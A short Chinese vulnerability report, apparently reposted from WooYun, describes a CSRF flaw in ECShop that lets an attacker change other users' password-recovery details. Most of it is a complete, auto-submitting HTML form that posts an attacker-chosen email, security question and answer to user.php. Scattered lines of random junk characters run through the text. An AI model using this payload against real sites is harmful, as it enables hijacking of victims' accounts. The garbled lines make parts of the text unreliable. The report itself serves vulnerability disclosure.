ecshop修改任意用户密码漏洞的CSRF利用

admin

简要描述：
1 Z3 w2 P. j# o: `( g4 Kecshop在设计认证机制的时候存在一个问题，导致恶意用户可以窃取其他用户的密码，这个过程可以通过xss和csrf实现
3 B1 \8 E6 |0 y5 b( o# Q( A
6 ~  w! J' v# o; s" f; N0 ~Demo For:http://www.wooyun.org/bug.php?action=view&id=395

" l7 w4 E- i& s详细说明：
利用csrf和xss可以突破官方所说的“障碍”
xss版本已经有人说明
3 O) C7 B% z  z- |这里给出csrf版本

0 y# L2 P/ J( q6 F6 w; Z漏洞证明：
<html>
0 ^0 @+ n, Y1 T1 u6 \7 c<body>
<form action="http://www.wooyun.org/ecshop/user.php" method="POST">
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">
9 \/ m" D4 q: D# w" i9 B" @<INPUT TYPE="text" NAME="act" value="act_edit_profile">
<INPUT TYPE="text" NAME="sel_question" value="ecshop">
4 m2 P9 K: D+ C- S. i! }5 m<INPUT TYPE="text" NAME="passwd_answer" value="exploit">
, \' L' ]" |; @+ ?$ _0 _) q</body>
<script>
document.forms[0].submit();
9 x; ^: X; P! g2 j5 t</script>
</html>
1 H  E$ A4 ^9 d! Q8 b& x- I构造该网页，用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失